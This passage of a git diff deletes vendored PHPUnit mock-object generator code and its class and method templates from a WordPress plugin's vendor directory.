- return $this->getObject( - $mock, - $type, - $callOriginalConstructor, - $callAutoload, - $arguments, - $callOriginalMethods, - $proxyTarget, - $returnValueGeneration, - ); - } - - /** - * @psalm-param list $interfaces - * - * @throws RuntimeException - * @throws UnknownTypeException - */ - public function getMockForInterfaces(array $interfaces, bool $callAutoload = true): MockObject - { - if (count($interfaces) < 2) { - throw new RuntimeException('At least two interfaces must be specified'); - } - - foreach ($interfaces as $interface) { - if (!interface_exists($interface, $callAutoload)) { - throw new UnknownTypeException($interface); - } - } - - sort($interfaces); - - $methods = []; - - foreach ($interfaces as $interface) { - $methods = array_merge($methods, $this->getClassMethods($interface)); - } - - if (count(array_unique($methods)) < count($methods)) { - throw new RuntimeException('Interfaces must not declare the same method'); - } - - $unqualifiedNames = []; - - foreach ($interfaces as $interface) { - $parts = explode('\\', $interface); - $unqualifiedNames[] = array_pop($parts); - } - - sort($unqualifiedNames); - - do { - $intersectionName = sprintf( - 'Intersection_%s_%s', - implode('_', $unqualifiedNames), - substr(md5((string) mt_rand()), 0, 8), - ); - } while (interface_exists($intersectionName, false)); - - $template = $this->getTemplate('intersection.tpl'); - - $template->setVar( - [ - 'intersection' => $intersectionName, - 'interfaces' => implode(', ', $interfaces), - ], - ); - - eval($template->render()); - - return $this->getMock($intersectionName); - } - - /** - * Returns a mock object for the specified abstract class with all abstract - * methods of the class mocked. - * - * Concrete methods to mock can be specified with the $mockedMethods parameter. - * - * @psalm-template RealInstanceType of object - * - * @psalm-param class-string $originalClassName - * - * @psalm-return MockObject&RealInstanceType - * - * @throws ClassAlreadyExistsException - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws DuplicateMethodException - * @throws InvalidArgumentException - * @throws InvalidMethodNameException - * @throws OriginalConstructorInvocationRequiredException - * @throws ReflectionException - * @throws RuntimeException - * @throws UnknownClassException - * @throws UnknownTypeException - */ - public function getMockForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, ?array $mockedMethods = null, bool $cloneArguments = true): MockObject - { - if (class_exists($originalClassName, $callAutoload) || - interface_exists($originalClassName, $callAutoload)) { - try { - $reflector = new ReflectionClass($originalClassName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methods = $mockedMethods; - - foreach ($reflector->getMethods() as $method) { - if ($method->isAbstract() && !in_array($method->getName(), $methods ?? [], true)) { - $methods[] = $method->getName(); - } - } - - if (empty($methods)) { - $methods = null; - } - - return $this->getMock( - $originalClassName, - $methods, - $arguments, - $mockClassName, - $callOriginalConstructor, - $callOriginalClone, - $callAutoload, - $cloneArguments, - ); - } - - throw new UnknownClassException($originalClassName); - } - - /** - * Returns a mock object for the specified trait with all abstract methods - * of the trait mocked. Concrete methods to mock can be specified with the - * `$mockedMethods` parameter. - * - * @psalm-param trait-string $traitName - * - * @throws ClassAlreadyExistsException - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws DuplicateMethodException - * @throws InvalidArgumentException - * @throws InvalidMethodNameException - * @throws OriginalConstructorInvocationRequiredException - * @throws ReflectionException - * @throws RuntimeException - * @throws UnknownClassException - * @throws UnknownTraitException - * @throws UnknownTypeException - */ - public function getMockForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, ?array $mockedMethods = null, bool $cloneArguments = true): MockObject - { - if (!trait_exists($traitName, $callAutoload)) { - throw new UnknownTraitException($traitName); - } - - $className = $this->generateClassName( - $traitName, - '', - 'Trait_', - ); - - $classTemplate = $this->getTemplate('trait_class.tpl'); - - $classTemplate->setVar( - [ - 'prologue' => 'abstract ', - 'class_name' => $className['className'], - 'trait_name' => $traitName, - ], - ); - - $mockTrait = new MockTrait($classTemplate->render(), $className['className']); - $mockTrait->generate(); - - return $this->getMockForAbstractClass($className['className'], $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments); - } - - /** - * Returns an object for the specified trait. - * - * @psalm-param trait-string $traitName - * - * @throws ReflectionException - * @throws RuntimeException - * @throws UnknownTraitException - */ - public function getObjectForTrait(string $traitName, string $traitClassName = '', bool $callAutoload = true, bool $callOriginalConstructor = false, array $arguments = []): object - { - if (!trait_exists($traitName, $callAutoload)) { - throw new UnknownTraitException($traitName); - } - - $className = $this->generateClassName( - $traitName, - $traitClassName, - 'Trait_', - ); - - $classTemplate = $this->getTemplate('trait_class.tpl'); - - $classTemplate->setVar( - [ - 'prologue' => '', - 'class_name' => $className['className'], - 'trait_name' => $traitName, - ], - ); - - return $this->getObject( - new MockTrait( - $classTemplate->render(), - $className['className'], - ), - '', - $callOriginalConstructor, - $callAutoload, - $arguments, - ); - } - - /** - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws ReflectionException - * @throws RuntimeException - */ - public function generate(string $type, ?array $methods = null, string $mockClassName = '', bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = true, bool $callOriginalMethods = false): MockClass - { - if ($mockClassName !== '') { - return $this->generateMock( - $type, - $methods, - $mockClassName, - $callOriginalClone, - $callAutoload, - $cloneArguments, - $callOriginalMethods, - ); - } - - $key = md5( - $type . - serialize($methods) . - serialize($callOriginalClone) . - serialize($cloneArguments) . - serialize($callOriginalMethods), - ); - - if (!isset(self::$cache[$key])) { - self::$cache[$key] = $this->generateMock( - $type, - $methods, - $mockClassName, - $callOriginalClone, - $callAutoload, - $cloneArguments, - $callOriginalMethods, - ); - } - - return self::$cache[$key]; - } - - /** - * @throws RuntimeException - * @throws SoapExtensionNotAvailableException - */ - public function generateClassFromWsdl(string $wsdlFile, string $className, array $methods = [], array $options = []): string - { - if (!extension_loaded('soap')) { - throw new SoapExtensionNotAvailableException; - } - - $options = array_merge($options, ['cache_wsdl' => WSDL_CACHE_NONE]); - - try { - $client = new SoapClient($wsdlFile, $options); - $_methods = array_unique($client->__getFunctions()); - unset($client); - } catch (SoapFault $e) { - throw new RuntimeException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - - sort($_methods); - - $methodTemplate = $this->getTemplate('wsdl_method.tpl'); - $methodsBuffer = ''; - - foreach ($_methods as $method) { - preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\(/', $method, $matches, PREG_OFFSET_CAPTURE); - $lastFunction = array_pop($matches[0]); - $nameStart = $lastFunction[1]; - $nameEnd = $nameStart + strlen($lastFunction[0]) - 1; - $name = str_replace('(', '', $lastFunction[0]); - - if (empty($methods) || in_array($name, $methods, true)) { - $args = explode( - ',', - str_replace(')', '', substr($method, $nameEnd + 1)), - ); - - foreach (range(0, count($args) - 1) as $i) { - $parameterStart = strpos($args[$i], '$'); - - if (!$parameterStart) { - continue; - } - - $args[$i] = substr($args[$i], $parameterStart); - } - - $methodTemplate->setVar( - [ - 'method_name' => $name, - 'arguments' => implode(', ', $args), - ], - ); - - $methodsBuffer .= $methodTemplate->render(); - } - } - - $optionsBuffer = '['; - - foreach ($options as $key => $value) { - $optionsBuffer .= $key . ' => ' . $value; - } - - $optionsBuffer .= ']'; - - $classTemplate = $this->getTemplate('wsdl_class.tpl'); - $namespace = ''; - - if (strpos($className, '\\') !== false) { - $parts = explode('\\', $className); - $className = array_pop($parts); - $namespace = 'namespace ' . implode('\\', $parts) . ';' . "\n\n"; - } - - $classTemplate->setVar( - [ - 'namespace' => $namespace, - 'class_name' => $className, - 'wsdl' => $wsdlFile, - 'options' => $optionsBuffer, - 'methods' => $methodsBuffer, - ], - ); - - return $classTemplate->render(); - } - - /** - * @throws ReflectionException - * - * @return string[] - */ - public function getClassMethods(string $className): array - { - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methods = []; - - foreach ($class->getMethods() as $method) { - if ($method->isPublic() || $method->isAbstract()) { - $methods[] = $method->getName(); - } - } - - return $methods; - } - - /** - * @throws ReflectionException - * - * @return MockMethod[] - */ - public function mockClassMethods(string $className, bool $callOriginalMethods, bool $cloneArguments): array - { - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methods = []; - - foreach ($class->getMethods() as $method) { - if (($method->isPublic() || $method->isAbstract()) && $this->canMockMethod($method)) { - $methods[] = MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments); - } - } - - return $methods; - } - - /** - * @throws ReflectionException - * - * @return MockMethod[] - */ - public function mockInterfaceMethods(string $interfaceName, bool $cloneArguments): array - { - try { - $class = new ReflectionClass($interfaceName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methods = []; - - foreach ($class->getMethods() as $method) { - $methods[] = MockMethod::fromReflection($method, false, $cloneArguments); - } - - return $methods; - } - - /** - * @psalm-param class-string $interfaceName - * - * @throws ReflectionException - * - * @return ReflectionMethod[] - */ - private function userDefinedInterfaceMethods(string $interfaceName): array - { - try { - // @codeCoverageIgnoreStart - $interface = new ReflectionClass($interfaceName); - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $methods = []; - - foreach ($interface->getMethods() as $method) { - if (!$method->isUserDefined()) { - continue; - } - - $methods[] = $method; - } - - return $methods; - } - - /** - * @throws ReflectionException - * @throws RuntimeException - */ - private function getObject(MockType $mockClass, $type = '', bool $callOriginalConstructor = false, bool $callAutoload = false, array $arguments = [], bool $callOriginalMethods = false, ?object $proxyTarget = null, bool $returnValueGeneration = true) - { - $className = $mockClass->generate(); - - if ($callOriginalConstructor) { - if (count($arguments) === 0) { - $object = new $className; - } else { - try { - $class = new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $object = $class->newInstanceArgs($arguments); - } - } else { - try { - $object = (new Instantiator)->instantiate($className); - } catch (InstantiatorException $e) { - throw new RuntimeException($e->getMessage()); - } - } - - if ($callOriginalMethods) { - if (!is_object($proxyTarget)) { - if (count($arguments) === 0) { - $proxyTarget = new $type; - } else { - try { - $class = new ReflectionClass($type); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $proxyTarget = $class->newInstanceArgs($arguments); - } - } - - $object->__phpunit_setOriginalObject($proxyTarget); - } - - if ($object instanceof MockObject) { - $object->__phpunit_setReturnValueGeneration($returnValueGeneration); - } - - return $object; - } - - /** - * @throws ClassIsFinalException - * @throws ClassIsReadonlyException - * @throws ReflectionException - * @throws RuntimeException - */ - private function generateMock(string $type, ?array $explicitMethods, string $mockClassName, bool $callOriginalClone, bool $callAutoload, bool $cloneArguments, bool $callOriginalMethods): MockClass - { - $classTemplate = $this->getTemplate('mocked_class.tpl'); - $additionalInterfaces = []; - $mockedCloneMethod = false; - $unmockedCloneMethod = false; - $isClass = false; - $isInterface = false; - $class = null; - $mockMethods = new MockMethodSet; - - $_mockClassName = $this->generateClassName( - $type, - $mockClassName, - 'Mock_', - ); - - if (class_exists($_mockClassName['fullClassName'], $callAutoload)) { - $isClass = true; - } elseif (interface_exists($_mockClassName['fullClassName'], $callAutoload)) { - $isInterface = true; - } - - if (!$isClass && !$isInterface) { - $prologue = 'class ' . $_mockClassName['originalClassName'] . "\n{\n}\n\n"; - - if (!empty($_mockClassName['namespaceName'])) { - $prologue = 'namespace ' . $_mockClassName['namespaceName'] . - " {\n\n" . $prologue . "}\n\n" . - "namespace {\n\n"; - - $epilogue = "\n\n}"; - } - - $mockedCloneMethod = true; - } else { - try { - $class = new ReflectionClass($_mockClassName['fullClassName']); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($class->isFinal()) { - throw new ClassIsFinalException($_mockClassName['fullClassName']); - } - - if (method_exists($class, 'isReadOnly') && $class->isReadOnly()) { - throw new ClassIsReadonlyException($_mockClassName['fullClassName']); - } - - // @see https://github.com/sebastianbergmann/phpunit/issues/2995 - if ($isInterface && $class->implementsInterface(Throwable::class)) { - $actualClassName = Exception::class; - $additionalInterfaces[] = $class->getName(); - $isInterface = false; - - try { - $class = new ReflectionClass($actualClassName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - foreach ($this->userDefinedInterfaceMethods($_mockClassName['fullClassName']) as $method) { - $methodName = $method->getName(); - - if ($class->hasMethod($methodName)) { - try { - $classMethod = $class->getMethod($methodName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if (!$this->canMockMethod($classMethod)) { - continue; - } - } - - $mockMethods->addMethods( - MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments), - ); - } - - $_mockClassName = $this->generateClassName( - $actualClassName, - $_mockClassName['className'], - 'Mock_', - ); - } - - // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/103 - if ($isInterface && $class->implementsInterface(Traversable::class) && - !$class->implementsInterface(Iterator::class) && - !$class->implementsInterface(IteratorAggregate::class)) { - $additionalInterfaces[] = Iterator::class; - - $mockMethods->addMethods( - ...$this->mockClassMethods(Iterator::class, $callOriginalMethods, $cloneArguments), - ); - } - - if ($class->hasMethod('__clone')) { - try { - $cloneMethod = $class->getMethod('__clone'); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if (!$cloneMethod->isFinal()) { - if ($callOriginalClone && !$isInterface) { - $unmockedCloneMethod = true; - } else { - $mockedCloneMethod = true; - } - } - } else { - $mockedCloneMethod = true; - } - } - - if ($isClass && $explicitMethods === []) { - $mockMethods->addMethods( - ...$this->mockClassMethods($_mockClassName['fullClassName'], $callOriginalMethods, $cloneArguments), - ); - } - - if ($isInterface && ($explicitMethods === [] || $explicitMethods === null)) { - $mockMethods->addMethods( - ...$this->mockInterfaceMethods($_mockClassName['fullClassName'], $cloneArguments), - ); - } - - if (is_array($explicitMethods)) { - foreach ($explicitMethods as $methodName) { - if ($class !== null && $class->hasMethod($methodName)) { - try { - $method = $class->getMethod($methodName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($this->canMockMethod($method)) { - $mockMethods->addMethods( - MockMethod::fromReflection($method, $callOriginalMethods, $cloneArguments), - ); - } - } else { - $mockMethods->addMethods( - MockMethod::fromName( - $_mockClassName['fullClassName'], - $methodName, - $cloneArguments, - ), - ); - } - } - } - - $mockedMethods = ''; - $configurable = []; - - foreach ($mockMethods->asArray() as $mockMethod) { - $mockedMethods .= $mockMethod->generateCode(); - $configurable[] = new ConfigurableMethod($mockMethod->getName(), $mockMethod->getReturnType()); - } - - $method = ''; - - if (!$mockMethods->hasMethod('method') && (!isset($class) || !$class->hasMethod('method'))) { - $method = PHP_EOL . ' use \PHPUnit\Framework\MockObject\Method;'; - } - - $cloneTrait = ''; - - if ($mockedCloneMethod) { - $cloneTrait = $this->mockedCloneMethod(); - } - - if ($unmockedCloneMethod) { - $cloneTrait = $this->unmockedCloneMethod(); - } - - $classTemplate->setVar( - [ - 'prologue' => $prologue ?? '', - 'epilogue' => $epilogue ?? '', - 'class_declaration' => $this->generateMockClassDeclaration( - $_mockClassName, - $isInterface, - $additionalInterfaces, - ), - 'clone' => $cloneTrait, - 'mock_class_name' => $_mockClassName['className'], - 'mocked_methods' => $mockedMethods, - 'method' => $method, - ], - ); - - return new MockClass( - $classTemplate->render(), - $_mockClassName['className'], - $configurable, - ); - } - - private function generateClassName(string $type, string $className, string $prefix): array - { - if ($type[0] === '\\') { - $type = substr($type, 1); - } - - $classNameParts = explode('\\', $type); - - if (count($classNameParts) > 1) { - $type = array_pop($classNameParts); - $namespaceName = implode('\\', $classNameParts); - $fullClassName = $namespaceName . '\\' . $type; - } else { - $namespaceName = ''; - $fullClassName = $type; - } - - if ($className === '') { - do { - $className = $prefix . $type . '_' . - substr(md5((string) mt_rand()), 0, 8); - } while (class_exists($className, false)); - } - - return [ - 'className' => $className, - 'originalClassName' => $type, - 'fullClassName' => $fullClassName, - 'namespaceName' => $namespaceName, - ]; - } - - private function generateMockClassDeclaration(array $mockClassName, bool $isInterface, array $additionalInterfaces = []): string - { - $buffer = 'class '; - - $additionalInterfaces[] = MockObject::class; - $interfaces = implode(', ', $additionalInterfaces); - - if ($isInterface) { - $buffer .= sprintf( - '%s implements %s', - $mockClassName['className'], - $interfaces, - ); - - if (!in_array($mockClassName['originalClassName'], $additionalInterfaces, true)) { - $buffer .= ', '; - - if (!empty($mockClassName['namespaceName'])) { - $buffer .= $mockClassName['namespaceName'] . '\\'; - } - - $buffer .= $mockClassName['originalClassName']; - } - } else { - $buffer .= sprintf( - '%s extends %s%s implements %s', - $mockClassName['className'], - !empty($mockClassName['namespaceName']) ? $mockClassName['namespaceName'] . '\\' : '', - $mockClassName['originalClassName'], - $interfaces, - ); - } - - return $buffer; - } - - private function canMockMethod(ReflectionMethod $method): bool - { - return !($this->isConstructor($method) || $method->isFinal() || $method->isPrivate() || $this->isMethodNameExcluded($method->getName())); - } - - private function isMethodNameExcluded(string $name): bool - { - return isset(self::EXCLUDED_METHOD_NAMES[$name]); - } - - /** - * @throws RuntimeException - */ - private function getTemplate(string $template): Template - { - $filename = __DIR__ . DIRECTORY_SEPARATOR . 'Generator' . DIRECTORY_SEPARATOR . $template; - - if (!isset(self::$templates[$filename])) { - try { - self::$templates[$filename] = new Template($filename); - } catch (TemplateException $e) { - throw new RuntimeException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - } - - return self::$templates[$filename]; - } - - /** - * @see https://github.com/sebastianbergmann/phpunit/issues/4139#issuecomment-605409765 - */ - private function isConstructor(ReflectionMethod $method): bool - { - $methodName = strtolower($method->getName()); - - if ($methodName === '__construct') { - return true; - } - - if (PHP_MAJOR_VERSION >= 8) { - return false; - } - - $className = strtolower($method->getDeclaringClass()->getName()); - - return $methodName === $className; - } - - private function mockedCloneMethod(): string - { - if (PHP_MAJOR_VERSION >= 8) { - if (!trait_exists('\PHPUnit\Framework\MockObject\MockedCloneMethodWithVoidReturnType')) { - eval(self::MOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT); - } - - return PHP_EOL . ' use \PHPUnit\Framework\MockObject\MockedCloneMethodWithVoidReturnType;'; - } - - if (!trait_exists('\PHPUnit\Framework\MockObject\MockedCloneMethodWithoutReturnType')) { - eval(self::MOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT); - } - - return PHP_EOL . ' use \PHPUnit\Framework\MockObject\MockedCloneMethodWithoutReturnType;'; - } - - private function unmockedCloneMethod(): string - { - if (PHP_MAJOR_VERSION >= 8) { - if (!trait_exists('\PHPUnit\Framework\MockObject\UnmockedCloneMethodWithVoidReturnType')) { - eval(self::UNMOCKED_CLONE_METHOD_WITH_VOID_RETURN_TYPE_TRAIT); - } - - return PHP_EOL . ' use \PHPUnit\Framework\MockObject\UnmockedCloneMethodWithVoidReturnType;'; - } - - if (!trait_exists('\PHPUnit\Framework\MockObject\UnmockedCloneMethodWithoutReturnType')) { - eval(self::UNMOCKED_CLONE_METHOD_WITHOUT_RETURN_TYPE_TRAIT); - } - - return PHP_EOL . ' use \PHPUnit\Framework\MockObject\UnmockedCloneMethodWithoutReturnType;'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/deprecation.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/deprecation.tpl deleted file mode 100644 index 5bf06f52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/deprecation.tpl +++ /dev/null @@ -1,2 +0,0 @@ - - @trigger_error({deprecation}, E_USER_DEPRECATED); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/intersection.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/intersection.tpl deleted file mode 100644 index 75cd27a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/intersection.tpl +++ /dev/null @@ -1,5 +0,0 @@ -declare(strict_types=1); - -interface {intersection} extends {interfaces} -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_class.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_class.tpl deleted file mode 100644 index 593119fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_class.tpl +++ /dev/null @@ -1,6 +0,0 @@ -declare(strict_types=1); - -{prologue}{class_declaration} -{ - use \PHPUnit\Framework\MockObject\Api;{method}{clone} -{mocked_methods}}{epilogue} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method.tpl deleted file mode 100644 index 114ff8d0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method.tpl +++ /dev/null @@ -1,22 +0,0 @@ - - {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} - {{deprecation} - $__phpunit_arguments = [{arguments_call}]; - $__phpunit_count = func_num_args(); - - if ($__phpunit_count > {arguments_count}) { - $__phpunit_arguments_tmp = func_get_args(); - - for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { - $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; - } - } - - $__phpunit_result = $this->__phpunit_getInvocationHandler()->invoke( - new \PHPUnit\Framework\MockObject\Invocation( - '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments} - ) - ); - - return $__phpunit_result; - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method_never_or_void.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method_never_or_void.tpl deleted file mode 100644 index 39020220..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_method_never_or_void.tpl +++ /dev/null @@ -1,20 +0,0 @@ - - {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} - {{deprecation} - $__phpunit_arguments = [{arguments_call}]; - $__phpunit_count = func_num_args(); - - if ($__phpunit_count > {arguments_count}) { - $__phpunit_arguments_tmp = func_get_args(); - - for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { - $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; - } - } - - $this->__phpunit_getInvocationHandler()->invoke( - new \PHPUnit\Framework\MockObject\Invocation( - '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments} - ) - ); - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_static_method.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_static_method.tpl deleted file mode 100644 index 5e5cf23c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/mocked_static_method.tpl +++ /dev/null @@ -1,5 +0,0 @@ - - {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} - { - throw new \PHPUnit\Framework\MockObject\BadMethodCallException('Static method "{method_name}" cannot be invoked on mock object'); - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method.tpl deleted file mode 100644 index 91bef463..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method.tpl +++ /dev/null @@ -1,22 +0,0 @@ - - {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} - { - $__phpunit_arguments = [{arguments_call}]; - $__phpunit_count = func_num_args(); - - if ($__phpunit_count > {arguments_count}) { - $__phpunit_arguments_tmp = func_get_args(); - - for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { - $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; - } - } - - $this->__phpunit_getInvocationHandler()->invoke( - new \PHPUnit\Framework\MockObject\Invocation( - '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments}, true - ) - ); - - return call_user_func_array(array($this->__phpunit_originalObject, "{method_name}"), $__phpunit_arguments); - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method_never_or_void.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method_never_or_void.tpl deleted file mode 100644 index cce19882..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/proxied_method_never_or_void.tpl +++ /dev/null @@ -1,22 +0,0 @@ - - {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} - { - $__phpunit_arguments = [{arguments_call}]; - $__phpunit_count = func_num_args(); - - if ($__phpunit_count > {arguments_count}) { - $__phpunit_arguments_tmp = func_get_args(); - - for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { - $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; - } - } - - $this->__phpunit_getInvocationHandler()->invoke( - new \PHPUnit\Framework\MockObject\Invocation( - '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments}, true - ) - ); - - call_user_func_array(array($this->__phpunit_originalObject, "{method_name}"), $__phpunit_arguments); - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/trait_class.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/trait_class.tpl deleted file mode 100644 index a8fe470f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/trait_class.tpl +++ /dev/null @@ -1,6 +0,0 @@ -declare(strict_types=1); - -{prologue}class {class_name} -{ - use {trait_name}; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_class.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_class.tpl deleted file mode 100644 index b3100b41..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_class.tpl +++ /dev/null @@ -1,9 +0,0 @@ -declare(strict_types=1); - -{namespace}class {class_name} extends \SoapClient -{ - public function __construct($wsdl, array $options) - { - parent::__construct('{wsdl}', $options); - } -{methods}} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_method.tpl b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_method.tpl deleted file mode 100644 index bb16e763..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Generator/wsdl_method.tpl +++ /dev/null @@ -1,4 +0,0 @@ - - public function {method_name}({arguments}) - { - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Invocation.php 